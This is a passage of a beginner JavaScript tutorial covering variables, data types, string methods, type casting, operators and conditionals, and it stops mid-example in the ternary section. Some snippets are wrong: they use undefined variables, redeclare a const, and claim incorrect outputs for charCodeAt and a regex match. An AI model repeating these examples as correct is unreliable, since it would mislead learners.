console.log("Hello, World!")
console.log('Hello, World!')
```
So far, we saw how to display text using a *console.log()*. If we are printing text or string using *console.log()*, the text has to be under the single, double, or backtick.
**Example:**
```js
console.log("Hello, World!")
console.log('Hello, World!')
console.log(`Hello, World!`)
```
#### Arithmetics
Now, let us practice more writing JavaScript codes using *console.log()* on google chrome console for number data types.
In addition to the text, we can also do mathematical calculations using JavaScript. Let us do the following simple calculations.
```js
console.log(2 + 3) // Addition
console.log(3 - 2) // Subtraction
console.log(2 * 3) // Multiplication
console.log(3 / 2) // Division
console.log(3 % 2) // Modulus - finding remainder
console.log(3 ** 2) // Exponential
```
### Code Editor
We can write our codes on the browser console, but it won't be for bigger projects. In a real working environment, developers use different code editors to write their codes. In this 30 days python JavaScript challenge, we will use visual studio code.
#### Installing Visual Studio Code
Visual studio code is a very popular open-source text editor. I would recommend to [download](https://code.visualstudio.com/) visual studio code, but if you are in favor of other editors, feel free to follow with what you have.
If you installed visual studio code, let us start using it.
#### How to use visual studio code
Open the visual studio code by double-clicking the visual studio icon. When you open it, you will get this kind of interface. Try to interact with the labeled icons.
### Adding JavaScript to a web page
JavaScript can be added to a web page in three ways:
- **_Inline script_**
- **_Internal script_**
- **_External script_**
The following sections show different ways of adding JavaScript code to your web page.
#### Inline Script
Create a folder on your desktop or in any location and create an **_index.html_** file in your folder. Then paste the following code and open it in a browser, either in [Chrome](https://www.google.com/chrome/) or [Firefox](https://www.mozilla.org/en-US/firefox/new/?v=b).
```html
<!DOCTYPE html>
<html>
<head>
<title>JavaScript for Everyone</title>
</head>
<body>
<button onclick="alert('Welcome to JavaScript!');">Click Me</button>
</body>
</html>
```
#### Internal script
Internal script can be written in the _head_ or the _body_ but it is preferred to put it on the body of the html document.
- Internal script at the head
```html
<!DOCTYPE html>
<html>
<head>
<title>JavaScript for Everyone</title>
<script>
console.log("Welcome to JavaScript for Everyone");
</script>
</head>
<body>
</body>
</html>
```
- Internal script at the body
```html
<!DOCTYPE html>
<html>
<head>
<title>JavaScript for Everyone</title>
</head>
<body>
<script>
console.log("Welcome to JavaScript for Everyone");
</script>
</body>
</html>
```
#### External script
The external script link can be on the head or body but it is preferred to put it in the body.
- External script at the head
```html
<!DOCTYPE html>
<html>
<head>
<title>JavaScript for Everyone</title>
<script src="introduction.js"></script>
</head>
<body>
</body>
</html
```
- External script at the body
```html
<!DOCTYPE html>
<html>
<head>
<title>JavaScript for Everyone</title>
</head>
<body>
//it could be in the header or in the body
// Here is the recommended place to put the script
<script src="introduction.js"></script>
</body>
</html
```
### Exercises:Setting Up your machine
## Variables
Variables are _containers_ of data. Variables _store_ data in a memory location. When a variable is declared a memory location is reserved and when it is assigned to a value, the memory space will be filled. To declare a variable we use, _var_, _let_ or _const_ key words. For a variable which changes at different time we use _let_ but if the data doesn't change at all we use _const_. For example PI, country name, gravity.
- A JavaScript variable name shouldn't begin with a number
- A JavaScript variable name does not allow special characters except dollar sign and underscore.
- A JavaScript variable name follow a camelCase convention.
- A JavaScript variable name shouldn't have space between words. The following are valid examples of JavaScript variables.
Valid variables in JavaScript:
```js
firstName
lastName
country
city
capitalCity
age
isMarried
first_name
last_name
is_married
capital_city
num1
num_1
_num_1
$num1
year2019
year_2019
```
Camel case(camelCase) or the first way of declaring is conventional in JavaScript. In this material, camelCase variables will be used.
Invalid variable:
```sh
first-name
1_num
num_#_1
```
Declaring variables
```js
// Declaring different variables of different data types
let firstName = 'Asabeneh'; // first name of a person
let lastName = 'Yetayeh'; // last name of a person
let country = 'Finland'; // country
let city = 'Helsinki'; // capital city
let age = 100; // age in years
let isMarried = true;
console.log(firstName, lastName, country, city, age, isMarried); // Asabeneh, Yetayeh, Finland, Helsinki, 100, True
// Declaring variables with number values
const gravity = 9.81; // earth gravity in m/s2
const boilingPoint = 100; // water boiling point, temperature in oC
const PI = 3.14; // geometrical constant
console.log(gravity, boilingPoint, PI); // 9.81, 100, 3.14
// Variables can also be declaring in one line separated by comma
let name = 'Asabeneh', //name of a person
job = 'teacher',
live = 'Finland';
console.log(name, job, live);
```
### Exercise - 1 : Variables
1. Declare four variables without assigning values
2. Declare four variables with assigning values
3. Declare variables to store your first name, last name, marital status, country and age in multiple lines
4. Declare variables to store your first name, last name, marital status, country and age in a single line
5. Declare two variables _myAge_ and _yourAge_ and assign them initial values and log to browser console.
Output:
```sh
I am 25 years old.
You are 30 years old.
```
## Comments
Commenting in JavaScript is similar to other programming languages. Comments can help to make code more readable.
There are two ways of commenting:
- _Single line commenting_
- _Multiline commenting_
```js
// let firstName = 'Asabeneh'; single line comment
// let lastName = 'Yetayeh'; single line comment
```
Multiline commenting:
```js
/*
let location = 'Helsinki';
let age = 100;
let isMarried = true;
This is a Multiple line comment
*/
```
### Exercise: Comments
1. Write a single line comment which says, _comments can make code readable_
1. Write a multiline comment which says, _comments can make code readable, easy to use_
_and informative_
## Data types
In the previous section, we mentioned a little bit about data types. Data or values have data types. Data types describe the characteristics of data. Data types can be divided into two
1. Primitive data types
2. Non-primitive data types(Object References)
### Primitive Data Types
Primitive data types in JavaScript includes:
1. Numbers - Integers, floats
2. Strings - Any data under single or double quote
3. Booleans - true or false value
4. Null - empty value or no value
5. Undefined - a declared variable without a value
Non-primitive data types in JavaScript includes:
1. Objects
2. Functions
3. Arrays
Now, let us see what exactly mean primitive and non-primitive data types.
*Primitive* data types are immutable(non-modifiable) data types. Once a primitive data type is created we can not modify it.
**Example:**
```js
let word = 'JavaScript'
```
If we try to modify the string stored in variable *word*, JavaScript will raise an error. Any data type under a single quote, double-quote, or backtick is a string data type.
```js
word[0] = 'Y'
```
This expression does not change the string stored in the variable *word*. So, we can say that strings are not modifiable or immutable.
Primitive data types are compared by its values. Let us compare different data values. See the example below:
```js
let numOne = 3
let numTwo = 3
console.log(numOne == numTwo) // true
let js = 'JavaScript'
let py = 'Python'
console.log(js == py) //false
let lightOn = true
let lightOff = false
console.log(lightOn == lightOff) // false
```
### Non-Primitive Data Types
*Non-primitive* data types are modifiable or mutable. We can modify the value of non-primitive data types after it gets created.
Let us see by creating an array. An array is a list of data values in a square bracket. Arrays can contain the same or different data types. Array values are referenced by their index. In JavaScript array index starts at zero. I.e., the first element of an array is found at index zero, the second element at index one, and the third element at index two, etc.
```js
let nums = [1, 2, 3]
nums[0] = 10
console.log(nums) // [10, 2, 3]
```
As you can see, an array in which a non-primitive data type is mutable. Non-primitive data types can not be compared by value. Even if two non-primitive data types have the same properties and values, they are not strictly equal.
```js
let nums = [1, 2, 3]
let numbers = [1, 2, 3]
console.log(nums == numbers) // false
let userOne = {
name:'Asabeneh',
role:'teaching',
country:'Finland'
}
let userTwo = {
name:'Asabeneh',
role:'teaching',
country:'Finland'
}
console.log(userOne == userTwo) // false
```
Rule of thumb, we do not compare non-primitive data types. Do not compare array, function, or object.
Non-primitive values are referred to as reference types because they are being compared by reference instead of value. Two objects are only strictly equal if they refer to the same underlying object.
```js
let nums = [1, 2, 3]
let numbers = nums
console.log(nums == numbers) // true
let userOne = {
name:'Asabeneh',
role:'teaching',
country:'Finland'
}
let userTwo = userOne
console.log(userOne == userTwo) // true
```
If you have a hard time understanding the difference between primitive data types and non-primitive data types, you are not the only one. Calm down and just go to the next section and try to come back after some time. Now let us start the data types by number type.
## Numbers
Numbers are integers and decimal values which can do all the arithmetic operations.
Lets' see some examples of Numbers.
### Declaring number data types
```js
let age = 35
const gravity = 9.81 //we use const for non-changing values, gravitational constant in m/s2
let mass = 72 // mass in Kilogram
const PI = 3.14 // pi a geometrical constant
//More Examples
const boilingPoint = 100 // temperature in oC, boiling point of water which is a constant
const bodyTemp = 37 // oC average human body temperature, which is a constant
console.log(age, gravity, mass, PI, boilingPoint, bodyTemp)
```
### Math Object
In JavaScript the Math Object provides a lots of methods to work with numbers.
```js
const PI = Math.PI
console.log(PI) // 3.141592653589793
// Rounding to the closest number
// if above .5 up if less 0.5 down rounding
console.log(Math.round(PI)) // 3 to round values to the nearest number
console.log(Math.round(9.81)) // 10
console.log(Math.floor(PI)) // 3 rounding down
console.log(Math.ceil(PI)) // 4 rounding up
console.log(Math.min(-5, 3, 20, 4,5, 10)) // -5, returns the minimum value
console.log(Math.max(-5, 3, 20, 4,5, 10)) // 20, returns the maximum value
const randNum = Math.random() // creates random number between 0 to 0.999999
console.log(randNum)
// Let us create random number between 0 to 10
const num = Math.floor(Math.random () * 11) // creates random number between 0 and 10
console.log(num)
//Absolute value
console.log(Math.abs(-10)) //10
//Square root
console.log(Math.sqrt(100)) // 10
console.log(Math.sqrt(2)) //1.4142135623730951
// Power
console.log(Math.pow(3, 2)) // 9
console.log(Math.E) // 2.718
// Logarithm
//Returns the natural logarithm of base E of x, Math.log(x)
console.log(Math.log(2)) // 0.6931471805599453
console.log(Math.log(10)) // 2.302585092994046
// Trigonometry
Math.sin(0)
Math.sin(60)
Math.cos(0)
Math.cos(60)
```
#### Random number generator
The JavaScript Math Object has a random() method number generator which generates number from 0 to 0.999999999...
```js
let randomNum = Math.random() // generates 0 to 0.999
```
Now, let us see how we can use random() method to generate a random number between 0 and 10 inclusive.
```js
let randomNum = Math.random() // generates 0 to 0.999
let numBtnZeroAndTen = randomNum * 11
console.log(numBtnZeroAndTen) // this gives: min 0 and max 10.99
let randomNumRoundToFloor = Math.floor(numBtnZeroAndTen)
console.log(randomNumRoundToFloor) // this gives between 0 and 10
```
## Strings
Strings are texts, which are under **_single_** or **_double_** quote. To declare a string, we need a variable name, assignment operator, a value under a single quote, double-quote, or backtick.
Lets' see some examples of string:
```js
let space = ' ' // an empty space string
let firstName = 'Asabeneh'
let lastName = 'Yetayeh'
let country = 'Finland'
let city = 'Helsinki'
let language = 'JavaScript'
let job = 'teacher'
```
### String Concatenation
Connect two or more strings together is called concatenation.
```js
// Declaring different variables of different data types
let space = ' '
let firstName = 'Asabeneh'
let lastName = 'Yetayeh'
let country = 'Finland'
let city = 'Helsinki'
let language = 'JavaScript'
let job = 'teacher'
```
```js
let fullName = firstName + space + lastName; // concatenation, merging two string together.
console.log(fullName);
```
```sh
Asabeneh Yetayeh
```
We can concatenate string in different ways.
#### Concatenating using addition operator
Concatenating using the addition operator is an old way. This way of concatenating is tedious and error-prone. It is good to know how to concatenate this way, but I strongly suggest to use the second way.
```js
// Declaring different variables of different data types
let space = ' '
let firstName = 'Asabeneh'
let lastName = 'Yetayeh'
let country = 'Finland'
let city = 'Helsinki'
let language = 'JavaScript'
let job = 'teacher'
let age = 250
let fullName = firstName + space + lastName
let personInfoOne = fullName + '. I am ' + age + '. I live in ' + country; // ES5
console.log(personInfoOne)
```
```sh
Asabeneh Yetayeh. I am 250. I live in Finland
```
#### Long Literal Strings
A string could be a single character or paragraph or a page. If the string length is too big it does not fit in one line. We can use the backslash character (\\) at the end of each line to indicate that the string will continue on the next line.
**Example:**
```js
const paragraph = "My name is Asabeneh Yetayeh. I live in Finland, Helsinki.\
I am a teacher and I love teaching. I teach HTML, CSS, JavaScript, React, Redux, \
Node.js, Python, Data Analysis and D3.js for anyone who is interested to learn. \
In the end of 2019, I was thinking to expand my teaching and to reach \
to global audience and I started a Python challenge from November 20 - December 19.\
It was one of the most rewarding and inspiring experience.\
Now, we are in 2020. I am enjoying preparing the 30DaysOfJavaScript challenge and \
I hope you are enjoying too."
console.log(paragraph)
```
#### Escape Sequences in string
In JavaScript and other programming language \ followed by some characters is an escape sequence. Let's see the most common escape characters:
- \n: new line
- \t: Tab means(8 spaces)
- \\\\: Back slash
- \\': Single quote (')
- \\":Double quote (")
```js
console.log('I hope every one is enjoying the 30 Days Of JavaScript challenge.\nDo you ?') // line break
console.log('Days\tTopics\tExercises')
console.log('Day 1\t3\t5')
console.log('Day 2\t3\t5')
console.log('Day 3\t3\t5')
console.log('Day 4\t3\t5')
console.log('This is a back slash symbol (\\)') // To write a back slash
console.log('In every programming language it starts with \"Hello, World!\"')
console.log("In every programming language it starts with \'Hello, World!\'")
console.log('The saying \'Seeing is Believing\' is\'t correct in 2020')
```
#### Template Literals(Template Strings)
To create a template string, we use two backticks. We can inject data as expression inside a template string. To inject data, we enclose the expression with a curly bracket({}) followed by a $ sign. See the syntax below.
```js
//Syntax
`String literal text`
`String literal text ${expression}`
```
**Example: 1**
```js
console.log(`The sum of 2 and 3 is 5`) // statically writing the data
let a = 2
let b = 3
console.log(`The sum of ${a} and ${b} is ${a + b}`) // injecting the data dynamically
```
**Example:2**
```js
let firstName = 'Asabeneh'
let lastName = 'Yetayeh'
let country = 'Finland'
let city = 'Helsinki'
let language = 'JavaScript'
let job = 'teacher'
let age = 250
let fullName = firstName + ' ' + lastName
let personInfoTwo = `I am ${fullName}. I am ${age}. I live in ${country}.` //ES6 - String interpolation method
let personInfoThree = `I am ${fullName}. I live in ${city}, ${country}. I am a ${job}. I teach ${language}.`
console.log(personInfoTwo)
console.log(personInfoThree)
```
```sh
I am Asabeneh Yetayeh. I am 250. I live in Finland.
I am Asabeneh Yetayeh. I live in Helsinki, Finland. I am a teacher. I teach JavaScript.
```
Using a string template or string interpolation method, we can add expression, which could be a value or some operations(comparison, arithmetic operations, ternary operation).
```js
let a = 2
let b = 3
console.log(`${a} is greater than ${b}: ${a > b}`)
```
```sh
2 is greater than 3: false
```
### String Methods
Everything in JavaScript is an object. A string is a primitive data type that means we can not modify once it is created. The string object has many string methods. There are different string methods that can help us to work with strings.
1. *length*: The string *length* method returns the number of characters in a string included empty space.
**Example:**
```js
let js = 'JavaScript'
console.log(js.length) // 10
let firstName = 'Asabeneh'
console.log(firstName.length) // 8
```
2. *Accessing characters in a string*: We can access each character in a string using its index. In programming, counting starts from 0. The first index of the string is zero, and the last index is one minus the length of the string.
Let us access different characters in 'JavaScript' string.
```js
let string = 'JavaScript'
let firstLetter = string[0]
console.log(firstLetter) // J
let secondLetter = string[1] // a
let thirdLetter = string[2]
let lastLetter = string[9]
console.log(lastLetter) // t
let lastIndex = string.length - 1
console.log(lastIndex) // 9
console.log(string[lastIndex]) // t
```
3. *toUpperCase()*: this method changes the string to uppercase letters.
```js
let string = 'JavaScript'
console.log(string.toUpperCase()) // JAVASCRIPT
let firstName = 'Asabeneh'
console.log(firstName.toUpperCase()) // ASABENEH
let country = 'Finland'
console.log(country.toUpperCase()) // FINLAND
```
4. *toLowerCase()*: this method changes the string to lowercase letters.
```js
let string = 'JavasCript'
console.log(string.toLowerCase()) // javascript
let firstName = 'Asabeneh'
console.log(firstName.toLowerCase()) // asabeneh
let country = 'Finland'
console.log(country.toLowerCase()) // finland
```
5. *substr()*: It takes two arguments, the starting index and number of characters to slice.
```js
let string = 'JavaScript'
console.log(string.substr(4,6)) // Script
let country = 'Finland'
console.log(country.substr(3, 4)) // land
```
6. *substring()*: It takes two arguments, the starting index and the stopping index but it doesn't include the stopping index.
```js
let string = 'JavaScript'
console.log(string.substring(0,4)) // Java
console.log(string.substring(4,10)) // Script
console.log(string.substring(4)) // Script
let country = 'Finland'
console.log(country.substring(0, 3)) // Fin
console.log(country.substring(3, 7)) // land
console.log(country.substring(3)) // land
```
7. *split()*: The split method splits a string at a specified place.
```js
let string = '30 Days Of JavaScript'
console.log(string.split()) // ["30 Days Of JavaScript"]
console.log(string.split(' ')) // ["30", "Days", "Of", "JavaScript"]
let firstName = 'Asabeneh'
console.log(firstName.split()) // ["Asabeneh"]
console.log(firstName.split('')) // ["A", "s", "a", "b", "e", "n", "e", "h"]
let countries = 'Finland, Sweden, Norway, Denmark, and Iceland'
console.log(countries.split(',')) // ["Finland", " Sweden", " Norway", " Denmark", " and Iceland"]
console.log(countries.split(', ')) // ["Finland", "Sweden", "Norway", "Denmark", "and Iceland"]
```
8. *trim()*: Removes trailing space in the beginning or the end of a string.
```js
let string = ' 30 Days Of JavaScript '
console.log(string)
console.log(string.trim(' '))
let firstName = ' Asabeneh '
console.log(firstName)
console.log(firstName.trim())
```
```sh
30 Days Of JavasCript
30 Days Of JavasCript
Asabeneh
Asabeneh
```
9. *includes()*: It takes a substring argument and it check if substring argument exists in the string. *includes()* returns a boolean. It checks if a substring exist in a string and it returns true if it exists and false if it doesn't exist.
```js
let string = '30 Days Of JavaScript'
console.log(string.includes('Days')) // true
console.log(string.includes('days')) // false
console.log(string.includes('Script')) // true
console.log(string.includes('script')) // false
console.log(string.includes('java')) // false
console.log(string.includes('Java')) // true
let country = 'Finland'
console.log(country.includes('fin')) // false
console.log(country.includes('Fin')) // true
console.log(country.includes('land')) // true
console.log(country.includes('Land')) // false
```
10. *replace()*: takes to parameter the old substring and new substring.
```js
string.replace(oldsubstring, newsubstring)
```
```js
let string = '30 Days Of JavaScript'
console.log(string.replace('JavaScript', 'Python')) // 30 Days Of Python
let country = 'Finland'
console.log(country.replace('Fin', 'Noman')) // Nomanland
```
11. *charAt()*: Takes index and it returns the value at that index
```js
string.charAt(index)
```
```js
let string = '30 Days Of JavaScript'
console.log(string.charAt(0)) // 3
let lastIndex = string.length - 1
console.log(string.charAt(lastIndex)) // t
```
12. *charCodeAt()*: Takes index and it returns char code(ASCII number) of the value at that index
```js
string.charCodeAt(index)
```
```js
let string = '30 Days Of JavaScript'
console.log(string.charCodeAt(3)) // D ASCII number is 51
let lastIndex = string.length - 1
console.log(string.charCodeAt(lastIndex)) // t ASCII is 116
```
13. *indexOf()*: Takes a substring and if the substring exists in a string it returns the first position of the substring if does not exist it returns -1
```js
string.indexOf(substring)
```
```js
let string = '30 Days Of JavaScript'
console.log(string.indexOf('D')) // 3
console.log(string.indexOf('Days')) // 3
console.log(string.indexOf('days')) // -1
console.log(string.indexOf('a')) // 4
console.log(string.indexOf('JavaScript')) // 11
console.log(string.indexOf('Script')) //15
console.log(string.indexOf('script')) // -1
```
14. *lastIndexOf()*: Takes a substring and if the substring exists in a string it returns the last position of the substring if it does not exist it returns -1
```js
//syntax
string.lastIndexOf(substring)
```
```js
let string = 'I love JavaScript. If you do not love JavaScript what else can you love.'
console.log(string.lastIndexOf('love')) // 67
console.log(string.lastIndexOf('you')) // 63
console.log(string.lastIndexOf('JavaScript')) // 38
```
15. *concat()*: it takes many substrings and creates concatenation.
```js
string.concat(substring, substring, substring)
```
```js
let string = '30'
console.log(string.concat("Days", "Of", "JavaScript")) // 30DaysOfJavaScript
let country = 'Fin'
console.log(country.concat("land")) // Finland
```
16. *startsWith*: it takes a substring as an argument and it checks if the string starts with that specified substring. It returns a boolean(true or false).
```js
//syntax
string.startsWith(substring)
```
```js
let string = 'Love is the best to in this world'
console.log(string.startsWith('Love')) // true
console.log(string.startsWith('love')) // false
console.log(string.startsWith('world')) // false
let country = 'Finland'
console.log(country.startsWith('Fin')) // true
console.log(country.startsWith('fin')) // false
console.log(country.startsWith('land')) // false
```
17. *endsWith*: it takes a substring as an argument and it checks if the string starts with that specified substring. It returns a boolean(true or false).
```js
string.endsWith(substring)
```
```js
let string = 'Love is the best to in this world'
console.log(string.endsWith('world')) // true
console.log(string.endsWith('love')) // false
console.log(string.endsWith('in this world')) // true
let country = 'Finland'
console.log(country.endsWith('land')) // true
console.log(country.endsWith('fin')) // false
console.log(country.endsWith('Fin')) // false
```
18. *search*: it takes a substring as an argument and it returns the index of the first match.
```js
string.search(substring)
```
```js
let string = 'I love JavaScript. If you do not love JavaScript what else can you love.'
console.log(string.search('love')) // 2
```
19. *match*: it takes a substring or regular expression pattern as an argument and it returns an array if there is match if not it returns null. Let us see how a regular expression pattern looks like. It starts with / sign and ends with / sign.
```js
let string = 'love'
let patternOne = /love/ // with out any flag
let patternTwo = /love/gi // g-means to search in the whole text, i - case insensitive
```
Match syntax
```js
// syntax
string.match(substring)
```
```js
let string = 'I love JavaScript. If you do not love JavaScript what else can you love.'
console.log(string.match('love'))
```
```sh
["love", index: 2, input: "I love JavaScript. If you do not love JavaScript what else can you love.", groups: undefined]
```
```js
let pattern = /love/gi
console.log(string.match(pattern)) // ["love", "love", "love"]
```
Let us extract numbers from text using regular expression. This is not regular expression section, no panic, we will cover regular expression in other section.
```js
let txt = 'In 2019, I run 30 Days of Python. Now, in 2020 I super exited to start this challenge'
let regEx = /\d+/
// d with escape character means d not a normal d instead acts a digit
// + means one or more digit numbers,
// if there is g after that it means global, search everywhere.
console.log(txt.match(regEx)) // ["2", "0", "1", "9", "3", "0", "2", "0", "2", "0"]
console.log(txt.match(/\d+/g)) // ["2019", "30", "2020"]
```
20. *repeat()*: it takes a number argument and it returned the repeated version of the string.
```js
string.repeat(n)
```
```js
let string = 'love'
console.log(string.repeat(10)) // lovelovelovelovelovelovelovelovelovelove
```
## Checking Data types and Casting
### Checking data types
- Check Data types: To check the data type of a certain data type we use the _typeof_ and we also change one data type to another.
**Example:**
```js
// Different javascript data types
// Let's declare different data types
let firstName = 'Asabeneh' // string
let lastName = 'Yetayeh' // string
let country = 'Finland' // string
let city = 'Helsinki' // string
let age = 250 // number, it is not my real age, do not worry about it
let job // undefined, because a value was not assigned
console.log(typeof 'Asabeneh') // string
console.log(typeof firstName) // string
console.log(typeof 10) // number
console.log(typeof 3.14) // number
console.log(typeof true) // boolean
console.log(typeof false) // boolean
console.log(typeof NaN) // number
console.log(typeof job) // undefined
console.log(typeof undefined) // undefined
console.log(typeof null) // object
```
### Changing data type(Casting)
- Casting: Converting one data type to another data type. We use _parseInt()_, _parseFloat()_, _Number()_, _+ sign_, _str()_
When we do arithmetic operations string numbers should be first converted to integer or float if not it returns an error.
#### String to Int
We can convert string number to a number. Any number inside a quote is a string number. An example of a string number: '10', '5', etc.
We can convert string to number using the following methods:
- parseInt()
- Number()
- Plus sign(+)
```js
let num = '10'
let numInt = parseInt(num)
console.log(numInt) // 10
```
```js
let num = '10'
let numInt = Number(num)
console.log(numInt) // 10
```
```js
let num = '10'
let numInt = +num
console.log(numInt) // 10
```
#### String to Float
We can convert string float number to a float number. Any float number inside a quote is a string float number. An example of a string float number: '9.81', '3.14', '1.44', etc.
We can convert string float to number using the following methods:
- parseFloat()
- Number()
- Plus sign(+)
```js
let num = '9.81'
let numFloat = parseFloat(num)
console.log(numFloat) // 9.81
```
```js
let num = '9.81'
let numFloat = Number(num)
console.log(numFloat) // 9.81
```
```js
let num = '9.81'
let numFloat = +num
console.log(numInt) // 9.81
```
#### Float to Int
We can convert float numbers to integers.
We use the following method to convert float to int:
- parseInt()
```js
let num = 9.81
let numInt = parseInt(num)
console.log(numInt) // 9
```
### Exercises: Data Types
1. Declare variables and assign string, boolean, undefined and null data types
1. The JavaScript ***typeof*** operator uses to check different data types. Check the data type of each variables from question number 1.
#### Exercise: String
1. Declare a variable name company and assign it to an initial value **'Coding Academy'**.
1. Print the string on the browser console using __console.log()__
1. Print the __length__ of the string on the browser console using _console.log()_
1. Change all the string to capital letters using __toUpperCase()__ method
1. Change all the string to lowercase letters using __toLowerCase()__ method
1. Cut(slice) out the first word of the string using __slice__, __substr()__ or __substring()__ method
1. Use __substr__ to slice out the phase __because because because__ in the following sentence:__'You cannot end a sentence with because because because is a conjunction'__
1. Check if the string contains a word __Academy__ using __includes()__ method
1. Split the __string__ into __array__ using __split()__ method
1. Split the string Coding Academy at the space using __split()__ method
1. 'Facebook, Google, Microsoft, Apple, IBM, Oracle, Amazon' __split__ the string at the comma and change it to an array.
1. Change Coding Academy to Microsoft Academy using __replace()__ method.
1. What is character at index 10 in 'Coding Academy' string use __charAt()__ method.
1. What is the character code of A in 'Coding Academy' string using __charCodeAt()__
1. Use __indexOf__ to determine the position of the first occurrence of c in Coding Academy
1. Use __lastIndexOf__ to determine the position of the last occurrence of c in Coding Academy.
1. Use __indexOf__ to find the position of the first occurrence of the word __because__ in the following sentence:__'You cannot end a sentence with because because because is a conjunction'__
1. Use __lastIndexOf__ to find the position of the first occurrence of the word __because__ in the following sentence:__'You cannot end a sentence with because because because is a conjunction'__
1. Use __search__ to find the position of the first occurrence of the word __because__ in the following sentence:__'You cannot end a sentence with because because because is a conjunction'__
1. Use __trim()__ to remove if there is trailing whitespace at the beginning and the end of a string.E.g ' Coding Academy '.
1. Use __startsWith()__ method with the string Coding Academy make the result true
1. Use __endsWith()__ method with the string Coding Academy make the result true
1. Use __match()__ method to find all the c’s in Coding Academy
1. Use __match()__ to count the number all because's in the following sentence:__'You cannot end a sentence with because because because is a conjunction'__
1. Use __concat()__ and merge 'Coding' and 'Academy' to a single string, 'Coding Academy'
1. Use __repeat()__ method to print Coding Academy 5 times
1. Calculate the total annual income of the person by extract the numbers from the following text. 'He earns 5000 euro from salary per month, 10000 euro annual bonus, 15000 euro online courses per month.'
### Booleans
Boolean value is either true or false. Any comparisons return a boolean value which is either true or false.
```js
let isLightOn = true;
let isRaining = false;
let hungry = false;
let isMarried = true;
```
#### Exercise: Booleans
Boolean value is either true or false.
1. Write three JavaScript statement which provide truthy value.
1. Write three JavaScript statement which provide falsy value.
1. Use all the following comparison operators to compare the following values: >, < >=, <=, !=, !==,===.
Which are true or which are false ?
1. 4 > 3
1. 4 >= 3
1. 4 < 3
1. 4 <= 3
1. 4 == 4
1. 4 === 4
1. 4 != 4
1. 4 !== 4
1. 4 != '4'
1. 4 == '4'
1. 4 === '4'
### Undefined
```js
let firstName;
console.log(firstName); //not defined, because it is not assigned to a value yet
```
### Null
```js
let empty = null;
console.log(empty); // -> null , means no value
```
### Exercise - 6 : Data types
String, number, boolean, null, undefined and symbol(ES6) are JavaScript primitive data types.
1. The JavaScript *typeof* operator uses to check different data types. Check the data type of each variables from question number 1.
## Operators
### Arithmetic Operators
Arithmetic operators are mathematical operators:+, -, _, /, _
```js
let numOne = 4;
let numTwo = 3;
let sum = numOne + numTwo;
let diff = numOne - numTwo;
let mult = numOne * numTwo;
let div = numOne / numTwo;
let remainder = numOne % numTwo;
console.log(sum, diff, mult, div, remainder); // ->7,1,12,1.33,1
let PI = 3.14;
let radius = 100; // length in meter
const gravity = 9.81; // in m/s2
let mass = 72; // in Kilogram
const boilingPoint = 100; // temperature in oC, boiling point of water
const bodyTemp = 37; // body temperature in oC
// Lets calculate area of a circle
const areaOfCircle = PI * radius * radius;
console.log(areaOfCircle); // -> 314 m
// Lets calculate weight of a substance
const weight = mass * gravity;
console.log(weight); // -> 706.32 N(Newton)
// ConcatEnating string with numbers using string interpolation
/*
The boiling point of water is 100 oC.
Human body temperature is 37 oC.
The gravity of earth is 9.81 m/s2.
*/
console.log(
`The boiling point of water is ${boilingPoint} oC.\nHuman body temperature is ${body} oC.\nThe gravity of earth is ${gravity} m / s2.`
);
```
### Exercises : Arithmetic Operators
JavaScript arithmetic operators are addition(+), subtraction(-), multiplication(\*), division(/), modulus(%), increment(++) and decrement(--).
```js
let operandOne = 4;
let operandTwo = 3;
```
Using the above operands apply different JavaScript arithmetic operators
### Logical Operators
The following symbols are the common logical operators:
&&(ampersand) , ||(pipe) and !(negation).
&& gets true only if the two operands are true.
|| gets true either of the operand is true.
! negates true to false, false to true.
```js
// && ampersand example
const check = 4 > 3 && 10 > 5; // true and true -> true
const check = 4 > 3 && 10 < 5; // true and false -> false
const check = 4 < 3 && 10 < 5; // false and false -> false
// || pipe or, example
const check = 4 > 3 || 10 > 5; // true and true -> true
const check = 4 > 3 || 10 < 5; // true and false -> true
const check = 4 < 3 || 10 < 5; // false and false -> false
// ! Negation examples
let check = 4 > 3; // -> true
let check = !(4 > 3); // -> false
let isLightOn = true; // -> true
let isLightOff = !isLightOn; // -> false
let isMarried = !false; // -> true
```
### Exercises: Logical Operators
Which are true or which are false ?
1. 4 > 3 && 10 < 12
1. 4 > 3 && 10 > 12
1. 4 > 3 || 10 < 12
1. 4 > 3 || 10 > 12
1. !(4 > 3)
1. !(4 < 3)
1. !(false)
1. !(4 > 3 && 10 < 12)
1. !(4 > 3 && 10 > 12)
1. !(4 === '4')
### Comparison Operators
```js
4 > 3;
4 >= 4;
4 < 3;
4 <= 3;
4 != 3;
4 !== '4';
4 == '4';
4 === '4';
4 === 4;
```
### Exercise: Comparison Operators
Boolean value is either true or false. Any comparison return a boolean either true or false.
Use all the following comparison operators to compare the following values: >, < >=, <=, !=, !==,===.
Which are true or which are false ?
1. 4 > 3
1. 4 >= 3
1. 4 < 3
1. 4 <= 3
1. 4 == 4
1. 4 === 4
1. 4 != 4
1. 4 !== 4
1. 4 != '4'
1. 4 == '4'
1. 4 === '4'
## Conditionals
### if
We use if condition to check only on condition.
```js
if (condition) {
// code goes here
}
let isRaining = true;
if (isRaining) {
console.log('Remember to take your rain coat.');
}
```
### if else
When we have more than one condition we use the if and else condition.
```js
if (condition) {
// if the condition meets, this block of code runs
} else {
// if condition doesn't meet, this block code runs
}
let isRaining = true;
if (isRaining) {
console.log('You need a rain coat.');
} else {
console.log('No need for a rain coat.');
}
```
### if else if else
Whenever we have multiple conditions.
```js
// if else if else
let weather = 'sunny';
if (weather === 'rainy') {
console.log('You need a rain coat.');
} else if (weather === 'cloudy') {
console.log('It might be cold, you need a jacket.');
} else if (weather === 'sunny') {
console.log('Go out freely.');
} else {
console.log('No need for rain coat.');
}
```
### switch
Switch an alternative for if else if else
```js
var weather = 'cloudy';
switch (weather) {
case 'rainy':
console.log('You need a rain coat.');
break;
case 'cloudy':
console.log('It might be cold, you need a jacket.');
break;
case 'sunny':
console.log('Go out freely.');
break;
default:
console.log(' No need for rain coat.');
break;
}
// Switch More Examples
var dayUserInput = prompt('What day is it ?');
var day = dayUserInput.toLowerCase();
switch (day) {
case 'monday':
console.log('Today is Monday');
break;
case 'tuesday':
console.log('Today is Tuesday');
break;
case 'wednesday':
console.log('Today is Wednesday');
break;
case 'thursday':
console.log('Today is Thursday');
break;
case 'friday':
console.log('Today is Friday');
break;
case 'saturday':
console.log('Today is Saturday');
break;
case 'sunday':
console.log('Today is Sunday');
break;
default:
console.log('It is not a week day.');
break;
}
```
### Ternary Operators
Another way to write conditionals is using ternary operators.
```js
let isRaining = true;
isRaining
